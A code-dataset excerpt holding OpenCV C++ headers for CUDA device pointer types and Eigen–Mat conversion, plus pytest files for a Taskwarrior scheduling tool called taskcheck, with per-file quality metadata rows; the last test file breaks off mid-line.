__CV_CUDA_HOST_DEVICE__ __host__ __device__ __forceinline__ #else #define __CV_CUDA_HOST_DEVICE__ #endif namespace cv { namespace cuda { // Simple lightweight structures that encapsulates information about an image on device. // It is intended to pass to nvcc-compiled code. GpuMat depends on headers that nvcc can't compile template <typename T> struct DevPtr { typedef T elem_type; typedef int index_type; enum { elem_size = sizeof(elem_type) }; T* data; __CV_CUDA_HOST_DEVICE__ DevPtr() : data(0) {} __CV_CUDA_HOST_DEVICE__ DevPtr(T* data_) : data(data_) {} __CV_CUDA_HOST_DEVICE__ size_t elemSize() const { return elem_size; } __CV_CUDA_HOST_DEVICE__ operator T*() { return data; } __CV_CUDA_HOST_DEVICE__ operator const T*() const { return data; } }; template <typename T> struct PtrSz : public DevPtr<T> { __CV_CUDA_HOST_DEVICE__ PtrSz() : size(0) {} __CV_CUDA_HOST_DEVICE__ PtrSz(T* data_, size_t size_) : DevPtr<T>(data_), size(size_) {} size_t size; }; template <typename T> struct PtrStep : public DevPtr<T> { __CV_CUDA_HOST_DEVICE__ PtrStep() : step(0) {} __CV_CUDA_HOST_DEVICE__ PtrStep(T* data_, size_t step_) : DevPtr<T>(data_), step(step_) {} size_t step; __CV_CUDA_HOST_DEVICE__ T* ptr(int y = 0) { return ( T*)( ( char*)DevPtr<T>::data + y * step); } __CV_CUDA_HOST_DEVICE__ const T* ptr(int y = 0) const { return (const T*)( (const char*)DevPtr<T>::data + y * step); } __CV_CUDA_HOST_DEVICE__ T& operator ()(int y, int x) { return ptr(y)[x]; } __CV_CUDA_HOST_DEVICE__ const T& operator ()(int y, int x) const { return ptr(y)[x]; } }; template <typename T> struct PtrStepSz : public PtrStep<T> { __CV_CUDA_HOST_DEVICE__ PtrStepSz() : cols(0), rows(0) {} __CV_CUDA_HOST_DEVICE__ PtrStepSz(int rows_, int cols_, T* data_, size_t step_) : PtrStep<T>(data_, step_), cols(cols_), rows(rows_) {} template <typename U> explicit PtrStepSz(const PtrStepSz<U>& d) : PtrStep<T>((T*)d.data, d.step), cols(d.cols), rows(d.rows){} int cols; int rows; }; typedef PtrStepSz<unsigned char> PtrStepSzb; typedef PtrStepSz<unsigned short> PtrStepSzus; typedef PtrStepSz<float> PtrStepSzf; typedef PtrStepSz<int> PtrStepSzi; typedef PtrStep<unsigned char> PtrStepb; typedef PtrStep<unsigned short> PtrStepus; typedef PtrStep<float> PtrStepf; typedef PtrStep<int> PtrStepi; } } //! @endcond #endif /* OPENCV_CORE_CUDA_TYPES_HPP */
5,565
cuda_types
hpp
en
cpp
code
{"qsc_code_num_words": 705, "qsc_code_num_chars": 5565.0, "qsc_code_mean_word_length": 4.90780142, "qsc_code_frac_words_unique": 0.35460993, "qsc_code_frac_chars_top_2grams": 0.05202312, "qsc_code_frac_chars_top_3grams": 0.04913295, "qsc_code_frac_chars_top_4grams": 0.07861272, "qsc_code_frac_chars_dupe_5grams": 0.26445087, "qsc_code_frac_chars_dupe_6grams": 0.11907514, "qsc_code_frac_chars_dupe_7grams": 0.07687861, "qsc_code_frac_chars_dupe_8grams": 0.06011561, "qsc_code_frac_chars_dupe_9grams": 0.06011561, "qsc_code_frac_chars_dupe_10grams": 0.06011561, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00471921, "qsc_code_frac_chars_whitespace": 0.23845463, "qsc_code_size_file_byte": 5565.0, "qsc_code_num_lines": 144.0, "qsc_code_num_chars_line_max": 131.0, "qsc_code_num_chars_line_mean": 38.64583333, "qsc_code_frac_chars_alphabet": 0.81170363, "qsc_code_frac_chars_comments": 0.44168913, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13043478, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01577084, "qsc_code_frac_chars_long_word_length": 0.00997747, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.23188406, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.26086957, "qsc_codecpp_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
0015/ESP32-OpenCV-Projects
esp32/examples/color_code/main/opencv/opencv2/core/eigen.hpp
/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, install, // copy or use the software. // // // License Agreement // For Open Source Computer Vision Library // // Copyright (C) 2000-2008, Intel Corporation, all rights reserved. // Copyright (C) 2009, Willow Garage Inc., all rights reserved. // Copyright (C) 2013, OpenCV Foundation, all rights reserved. // Third party copyrights are property of their respective owners. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistribution's of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistribution's in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * The name of the copyright holders may not be used to endorse or promote products // derived from this software without specific prior written permission. // // This software is provided by the copyright holders and contributors "as is" and // any express or implied warranties, including, but not limited to, the implied // warranties of merchantability and fitness for a particular purpose are disclaimed. // In no event shall the Intel Corporation or contributors be liable for any direct, // indirect, incidental, special, exemplary, or consequential damages // (including, but not limited to, procurement of substitute goods or services; // loss of use, data, or profits; or business interruption) however caused // and on any theory of liability, whether in contract, strict liability, // or tort (including negligence or otherwise) arising in any way out of // the use of this software, even if advised of the possibility of such damage. // //M*/ #ifndef OPENCV_CORE_EIGEN_HPP #define OPENCV_CORE_EIGEN_HPP #include "opencv2/core.hpp" #if defined _MSC_VER && _MSC_VER >= 1200 #pragma warning( disable: 4714 ) //__forceinline is not inlined #pragma warning( disable: 4127 ) //conditional expression is constant #pragma warning( disable: 4244 ) //conversion from '__int64' to 'int', possible loss of data #endif namespace cv { //! @addtogroup core_eigen //! @{ template<typename _Tp, int _rows, int _cols, int _options, int _maxRows, int _maxCols> static inline void eigen2cv( const Eigen::Matrix<_Tp, _rows, _cols, _options, _maxRows, _maxCols>& src, OutputArray dst ) { if( !(src.Flags & Eigen::RowMajorBit) ) { Mat _src(src.cols(), src.rows(), traits::Type<_Tp>::value, (void*)src.data(), src.outerStride()*sizeof(_Tp)); transpose(_src, dst); } else { Mat _src(src.rows(), src.cols(), traits::Type<_Tp>::value, (void*)src.data(), src.outerStride()*sizeof(_Tp)); _src.copyTo(dst); } } // Matx case template<typename _Tp, int _rows, int _cols, int _options, int _maxRows, int _maxCols> static inline void eigen2cv( const Eigen::Matrix<_Tp, _rows, _cols, _options, _maxRows, _maxCols>& src, Matx<_Tp, _rows, _cols>& dst ) { if( !(src.Flags & Eigen::RowMajorBit) ) { dst = Matx<_Tp, _cols, _rows>(static_cast<const _Tp*>(src.data())).t(); } else { dst = Matx<_Tp, _rows, _cols>(static_cast<const _Tp*>(src.data())); } } template<typename _Tp, int _rows, int _cols, int _options, int _maxRows, int _maxCols> static inline void cv2eigen( const Mat& src, Eigen::Matrix<_Tp, _rows, _cols, _options, _maxRows, _maxCols>& dst ) { CV_DbgAssert(src.rows == _rows && src.cols == _cols); if( !(dst.Flags & Eigen::RowMajorBit) ) { const Mat _dst(src.cols, src.rows, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); if( src.type() == _dst.type() ) transpose(src, _dst); else if( src.cols == src.rows ) { src.convertTo(_dst, _dst.type()); transpose(_dst, _dst); } else Mat(src.t()).convertTo(_dst, _dst.type()); } else { const Mat _dst(src.rows, src.cols, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); src.convertTo(_dst, _dst.type()); } } // Matx case template<typename _Tp, int _rows, int _cols, int _options, int _maxRows, int _maxCols> static inline void cv2eigen( const Matx<_Tp, _rows, _cols>& src, Eigen::Matrix<_Tp, _rows, _cols, _options, _maxRows, _maxCols>& dst ) { if( !(dst.Flags & Eigen::RowMajorBit) ) { const Mat _dst(_cols, _rows, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); transpose(src, _dst); } else { const Mat _dst(_rows, _cols, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); Mat(src).copyTo(_dst); } } template<typename _Tp> static inline void cv2eigen( const Mat& src, Eigen::Matrix<_Tp, Eigen::Dynamic, Eigen::Dynamic>& dst ) { dst.resize(src.rows, src.cols); if( !(dst.Flags & Eigen::RowMajorBit) ) { const Mat _dst(src.cols, src.rows, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); if( src.type() == _dst.type() ) transpose(src, _dst); else if( src.cols == src.rows ) { src.convertTo(_dst, _dst.type()); transpose(_dst, _dst); } else Mat(src.t()).convertTo(_dst, _dst.type()); } else { const Mat _dst(src.rows, src.cols, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); src.convertTo(_dst, _dst.type()); } } // Matx case template<typename _Tp, int _rows, int _cols> static inline void cv2eigen( const Matx<_Tp, _rows, _cols>& src, Eigen::Matrix<_Tp, Eigen::Dynamic, Eigen::Dynamic>& dst ) { dst.resize(_rows, _cols); if( !(dst.Flags & Eigen::RowMajorBit) ) { const Mat _dst(_cols, _rows, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); transpose(src, _dst); } else { const Mat _dst(_rows, _cols, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); Mat(src).copyTo(_dst); } } template<typename _Tp> static inline void cv2eigen( const Mat& src, Eigen::Matrix<_Tp, Eigen::Dynamic, 1>& dst ) { CV_Assert(src.cols == 1); dst.resize(src.rows); if( !(dst.Flags & Eigen::RowMajorBit) ) { const Mat _dst(src.cols, src.rows, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); if( src.type() == _dst.type() ) transpose(src, _dst); else Mat(src.t()).convertTo(_dst, _dst.type()); } else { const Mat _dst(src.rows, src.cols, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); src.convertTo(_dst, _dst.type()); } } // Matx case template<typename _Tp, int _rows> static inline void cv2eigen( const Matx<_Tp, _rows, 1>& src, Eigen::Matrix<_Tp, Eigen::Dynamic, 1>& dst ) { dst.resize(_rows); if( !(dst.Flags & Eigen::RowMajorBit) ) { const Mat _dst(1, _rows, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); transpose(src, _dst); } else { const Mat _dst(_rows, 1, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); src.copyTo(_dst); } } template<typename _Tp> static inline void cv2eigen( const Mat& src, Eigen::Matrix<_Tp, 1, Eigen::Dynamic>& dst ) { CV_Assert(src.rows == 1); dst.resize(src.cols); if( !(dst.Flags & Eigen::RowMajorBit) ) { const Mat _dst(src.cols, src.rows, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); if( src.type() == _dst.type() ) transpose(src, _dst); else Mat(src.t()).convertTo(_dst, _dst.type()); } else { const Mat _dst(src.rows, src.cols, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); src.convertTo(_dst, _dst.type()); } } //Matx template<typename _Tp, int _cols> static inline void cv2eigen( const Matx<_Tp, 1, _cols>& src, Eigen::Matrix<_Tp, 1, Eigen::Dynamic>& dst ) { dst.resize(_cols); if( !(dst.Flags & Eigen::RowMajorBit) ) { const Mat _dst(_cols, 1, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); transpose(src, _dst); } else { const Mat _dst(1, _cols, traits::Type<_Tp>::value, dst.data(), (size_t)(dst.outerStride()*sizeof(_Tp))); Mat(src).copyTo(_dst); } } //! @} } // cv #endif
9,520
eigen
hpp
en
cpp
code
{"qsc_code_num_words": 1195, "qsc_code_num_chars": 9520.0, "qsc_code_mean_word_length": 4.6167364, "qsc_code_frac_words_unique": 0.18661088, "qsc_code_frac_chars_top_2grams": 0.02900127, "qsc_code_frac_chars_top_3grams": 0.03915171, "qsc_code_frac_chars_top_4grams": 0.05546493, "qsc_code_frac_chars_dupe_5grams": 0.67953598, "qsc_code_frac_chars_dupe_6grams": 0.64600326, "qsc_code_frac_chars_dupe_7grams": 0.62352728, "qsc_code_frac_chars_dupe_8grams": 0.62008338, "qsc_code_frac_chars_dupe_9grams": 0.59271343, "qsc_code_frac_chars_dupe_10grams": 0.57694399, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00789692, "qsc_code_frac_chars_whitespace": 0.24180672, "qsc_code_size_file_byte": 9520.0, "qsc_code_num_lines": 280.0, "qsc_code_num_chars_line_max": 108.0, "qsc_code_num_chars_line_mean": 34.0, "qsc_code_frac_chars_alphabet": 0.75644223, "qsc_code_frac_chars_comments": 0.25745798, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.50731707, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0022634, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01463415, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.1804878, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 1.0, "qsc_codecpp_score_lines_no_logic": 0.18536585, "qsc_codecpp_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
00sapo/taskcheck
tests/test_install.py
import pytest from unittest.mock import patch, Mock, mock_open from pathlib import Path # Note: This assumes you have an install module. If not, create a basic test structure @pytest.fixture def mock_install_module(): """Mock the install module if it doesn't exist.""" with patch.dict('sys.modules', {'taskcheck.install': Mock()}): yield class TestInstallation: @patch('subprocess.run') @patch('pathlib.Path.mkdir') @patch('pathlib.Path.exists') def test_install_creates_directories(self, mock_exists, mock_mkdir, mock_run): mock_exists.return_value = False mock_result = Mock() mock_result.returncode = 0 mock_run.return_value = mock_result # This would test your actual install function # from taskcheck.install import install # install() # For now, just test that the mock setup works assert True @patch('subprocess.run') def test_install_taskwarrior_config(self, mock_run): mock_result = Mock() mock_result.returncode = 0 mock_run.return_value = mock_result # Test UDA installation commands expected_commands = [ ["task", "config", "uda.estimated.type", "string"], ["task", "config", "uda.time_map.type", "string"], ["task", "config", "uda.scheduling.type", "string"], ["task", "config", "uda.completion_date.type", "date"] ] # This would test your actual install function # For now, just verify mock setup assert True # Add integration tests class TestIntegration: """Integration tests that test multiple components together.""" @patch('taskcheck.parallel.get_calendars') @patch('taskcheck.parallel.get_tasks') @patch('subprocess.run') def test_full_scheduling_workflow(self, mock_run, mock_tasks, mock_calendars, sample_config, sample_tasks): """Test the complete scheduling workflow.""" mock_tasks.return_value = sample_tasks mock_calendars.return_value = [] mock_result = Mock() mock_result.stdout = """urgency.uda.estimated.P1H.coefficient=5.0 urgency.uda.estimated.P2H.coefficient=8.0 urgency.inherit=1 urgency.active.coefficient=4.0 urgency.age.max=365 urgency.due.coefficient=12.0 urgency.age.coefficient=2.0""" mock_result.returncode = 0 mock_run.return_value = mock_result from taskcheck.parallel import check_tasks_parallel # Should complete without errors check_tasks_parallel(sample_config, verbose=True) # Verify task commands were called assert mock_run.called
2,720
test_install
py
en
python
code
{"qsc_code_num_words": 326, "qsc_code_num_chars": 2720.0, "qsc_code_mean_word_length": 5.32822086, "qsc_code_frac_words_unique": 0.36503067, "qsc_code_frac_chars_top_2grams": 0.05757052, "qsc_code_frac_chars_top_3grams": 0.03454231, "qsc_code_frac_chars_top_4grams": 0.04835924, "qsc_code_frac_chars_dupe_5grams": 0.22682786, "qsc_code_frac_chars_dupe_6grams": 0.14450201, "qsc_code_frac_chars_dupe_7grams": 0.14450201, "qsc_code_frac_chars_dupe_8grams": 0.10074842, "qsc_code_frac_chars_dupe_9grams": 0.10074842, "qsc_code_frac_chars_dupe_10grams": 0.10074842, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00970403, "qsc_code_frac_chars_whitespace": 0.24227941, "qsc_code_size_file_byte": 2720.0, "qsc_code_num_lines": 78.0, "qsc_code_num_chars_line_max": 112.0, "qsc_code_num_chars_line_mean": 34.87179487, "qsc_code_frac_chars_alphabet": 0.83309073, "qsc_code_frac_chars_comments": 0.20551471, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.28571429, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.24168618, "qsc_code_frac_chars_long_word_length": 0.1175644, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.06122449, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.08163265, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.08163265, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.20408163, "qsc_codepython_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
tests/test_parallel.py
from datetime import datetime from unittest.mock import patch from taskcheck.parallel import ( get_urgency_coefficients, check_tasks_parallel, initialize_task_info, allocate_time_for_day, urgency_due, urgency_age, urgency_estimated, recompute_urgencies, UrgencyCoefficients, ) class TestUrgencyCoefficients: def test_get_urgency_coefficients(self, mock_task_export_with_taskrc, test_taskrc): coeffs = get_urgency_coefficients(taskrc=test_taskrc) assert isinstance(coeffs, UrgencyCoefficients) assert "P1H" in coeffs.estimated assert coeffs.estimated["P1H"] == 5.0 assert coeffs.inherit is True assert coeffs.active == 4.0 class TestUrgencyCalculations: def test_urgency_due_overdue(self): coeffs = UrgencyCoefficients({}, False, 0, 365, 12, 2) task_info = { "task": { "due": "20231201T170000Z" # Past due } } date = datetime(2023, 12, 10).date() # 9 days later urgency = urgency_due(task_info, date, coeffs) assert urgency == 12.0 # Max urgency for overdue def test_urgency_due_approaching(self): coeffs = UrgencyCoefficients({}, False, 0, 365, 12, 2) task_info = { "task": { "due": "20231210T170000Z" # Due in future } } date = datetime(2023, 12, 5).date() # 5 days before urgency = urgency_due(task_info, date, coeffs) assert 0 < urgency < 12.0 def test_urgency_age(self): coeffs = UrgencyCoefficients({}, False, 0, 365, 12, 2) task_info = { "task": { "entry": "20231120T090000Z" # 15 days ago } } date = datetime(2023, 12, 5).date() urgency = urgency_age(task_info, date, coeffs) expected = 1.0 * 15 / 365 * 2 # age calculation assert abs(urgency - expected) < 0.01 def test_urgency_estimated(self): coeffs = UrgencyCoefficients({"P1H": 5.0, "P2H": 8.0}, False, 0, 365, 12, 2) task_info = {"remaining_hours": 1.0} urgency = urgency_estimated(task_info, None, coeffs) assert urgency == 5.0 class TestTaskInitialization: @patch("taskcheck.parallel.get_long_range_time_map") def test_initialize_task_info(self, mock_long_range, sample_tasks, sample_config): mock_long_range.return_value = ([8.0, 8.0, 8.0], 0.0) time_maps = sample_config["time_maps"] days_ahead = 3 coeffs = UrgencyCoefficients( {"P1H": 5.0, "P2H": 8.0, "P3H": 10.0}, False, 4.0, 365, 12, 2 ) calendars = [] task_info = initialize_task_info( sample_tasks, time_maps, days_ahead, coeffs, calendars ) assert len(task_info) == len(sample_tasks) for uuid, info in task_info.items(): assert "task" in info assert "remaining_hours" in info assert "task_time_map" in info assert "urgency" in info class TestTimeAllocation: def test_allocate_time_for_day_single_task(self, sample_config): task_info = { "task-1": { "task": { "id": 1, "uuid": "task-1", "description": "Test task", "estimated": "P2H", }, "remaining_hours": 2.0, "task_time_map": [8.0, 8.0, 8.0], "today_used_hours": 0.0, "scheduling": {}, "urgency": 10.0, "estimated_urgency": 8.0, "due_urgency": 0.0, "age_urgency": 1.0, "started": False, } } coeffs = UrgencyCoefficients({"P2H": 8.0}, False, 4.0, 365, 12, 2) allocate_time_for_day(task_info, 0, coeffs, verbose=True, weight_urgency=1.0) # Should allocate time and update scheduling assert task_info["task-1"]["remaining_hours"] < 2.0 assert len(task_info["task-1"]["scheduling"]) > 0 class TestDependencies: def test_task_with_dependencies(self, sample_config): task_info = { "task-1": { "task": { "id": 1, "uuid": "task-1", "description": "Dependent task", "depends": ["task-2"], "estimated": "P2H", }, "remaining_hours": 2.0, "task_time_map": [8.0, 8.0, 8.0], "today_used_hours": 0.0, "scheduling": {}, "urgency": 10.0, "estimated_urgency": 8.0, "due_urgency": 0.0, "age_urgency": 1.0, "started": False, }, "task-2": { "task": { "id": 2, "uuid": "task-2", "description": "Dependency task", "estimated": "P1H", }, "remaining_hours": 1.0, "task_time_map": [8.0, 8.0, 8.0], "today_used_hours": 0.0, "scheduling": {}, "urgency": 15.0, "estimated_urgency": 5.0, "due_urgency": 0.0, "age_urgency": 1.0, "started": False, }, } coeffs = UrgencyCoefficients({"P1H": 5.0, "P2H": 8.0}, False, 4.0, 365, 12, 2) allocate_time_for_day(task_info, 0, coeffs, verbose=True, weight_urgency=1.0) # task-2 should be scheduled first due to dependency if task_info["task-2"]["remaining_hours"] == 0: # task-2 completed, task-1 can now be scheduled assert task_info["task-1"]["remaining_hours"] <= 2.0 class TestWeightConfiguration: @patch("taskcheck.parallel.get_calendars") @patch("taskcheck.parallel.get_tasks") @patch("taskcheck.parallel.get_urgency_coefficients") @patch("taskcheck.parallel.update_tasks_with_scheduling_info") def test_urgency_weight_override( self, mock_update, mock_coeffs, mock_tasks, mock_calendars, sample_config, sample_tasks, ): """Test that urgency_weight_override properly overrides config values.""" # Set config values sample_config["scheduler"]["weight_urgency"] = 0.8 sample_config["scheduler"]["weight_due_date"] = 0.2 mock_tasks.return_value = sample_tasks mock_coeffs.return_value = UrgencyCoefficients( {"P1H": 5.0, "P2H": 8.0, "P3H": 10.0}, False, 4.0, 365, 12, 2 ) mock_calendars.return_value = [] # Call with override check_tasks_parallel(sample_config, urgency_weight_override=0.3) # Verify the function was called - we'd need to check internal logic # This test would need access to the weights used internally mock_tasks.assert_called_once() @patch("taskcheck.parallel.get_calendars") @patch("taskcheck.parallel.get_tasks") @patch("taskcheck.parallel.get_urgency_coefficients") @patch("taskcheck.parallel.update_tasks_with_scheduling_info") def test_config_weights_used_when_no_override( self, mock_update, mock_coeffs, mock_tasks, mock_calendars, sample_config, sample_tasks, ): """Test that config weights are used when no override is provided.""" sample_config["scheduler"]["weight_urgency"] = 0.6 sample_config["scheduler"]["weight_due_date"] = 0.4 mock_tasks.return_value = sample_tasks mock_coeffs.return_value = UrgencyCoefficients( {"P1H": 5.0, "P2H": 8.0, "P3H": 10.0}, False, 4.0, 365, 12, 2 ) mock_calendars.return_value = [] # Call without override check_tasks_parallel(sample_config, urgency_weight_override=None) mock_tasks.assert_called_once() def test_recompute_urgencies_with_weights(self): """Test that recompute_urgencies applies weights correctly.""" tasks_remaining = { "task-1": { "task": {"uuid": "task-1", "id": 1}, "urgency": 10.0, "estimated_urgency": 5.0, "due_urgency": 3.0, "age_urgency": 1.0, "remaining_hours": 2.0, "started": False, } } coeffs = UrgencyCoefficients({"P1H": 5.0, "P2H": 8.0}, False, 0, 365, 12, 2) date = datetime.now().date() weight_urgency = 0.7 # Store original urgency to calculate base recompute_urgencies(tasks_remaining, coeffs, date, weight_urgency) # Check that weights were applied to the NEW urgency values (after recomputation) task_info = tasks_remaining["task-1"] # The function recomputes all urgency components, so we must use the new values after recomputation. # The actual implementation does: # base_urgency = new_urgency - new_due_urgency # weighted_urgency = base_urgency * weight_urgency + new_due_urgency base_urgency = ( (task_info["urgency"] - task_info["due_urgency"]) / weight_urgency if weight_urgency != 0 else 0 ) expected_urgency = base_urgency * weight_urgency + task_info["due_urgency"] assert abs(task_info["urgency"] - expected_urgency) < 0.01 class TestMainSchedulingFunction: @patch("taskcheck.parallel.get_calendars") @patch("taskcheck.parallel.get_tasks") @patch("taskcheck.parallel.get_urgency_coefficients") @patch("taskcheck.parallel.update_tasks_with_scheduling_info") def test_check_tasks_parallel( self, mock_update, mock_coeffs, mock_tasks, mock_calendars, sample_config, sample_tasks, test_taskrc, ): mock_tasks.return_value = sample_tasks mock_coeffs.return_value = UrgencyCoefficients( {"P1H": 5.0, "P2H": 8.0, 